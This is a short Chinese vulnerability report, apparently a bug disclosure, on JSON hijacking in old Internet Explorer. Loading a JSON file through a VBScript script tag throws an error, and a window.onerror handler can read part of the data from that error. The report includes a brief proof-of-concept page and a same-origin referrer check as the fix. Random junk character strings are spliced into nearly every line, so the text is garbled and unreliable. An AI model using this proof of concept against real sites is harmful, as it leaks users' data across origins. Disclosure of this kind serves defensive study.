简要描述:
4 E) I9 y0 k- e* C2 j5 n. Q+ c& ]1 f' H9 Z7 q9 l
由于某些资源容器对数据处理不当导致json劫持漏洞.! O6 q* o& G# q
详细说明: x2 z0 _5 [+ G B& l c" c: X
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
* X. [/ _7 D. v<script language=vbscript></script>) T5 ~* c# Z5 ?" U
0 b. `- Y3 D- W' I' ~8 X当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.: f6 N- N5 O& I6 q0 y! ?" V% [
漏洞证明:* y6 i( m, n3 |& M, B1 p
<script>) z; X' ?6 [) u2 ?. J
window.onerror=function(_){7 ~. N d* f* ]% W# _
alert(_)
# p0 e* z# N, j- J* S( N- F1 L* R9 R}
6 y. z. e4 m) s</script>' ? }# _1 W- |& J0 C
<script language=vbscript src=1.json></script>
, C# G$ Z' o( \6 ?
; y- p/ a6 j( W8 N- W : W# x# [& ~6 |6 a
1.json:0 k4 [3 D4 w" o
[{"name":"sogili","age":19}]
+ n% j' ?! u& w) K* v9 B+ [修复方案:
) R& a% v# w: i0 v' [网站业务对于这个问题可以通过验证referrer是否为同源来防御 |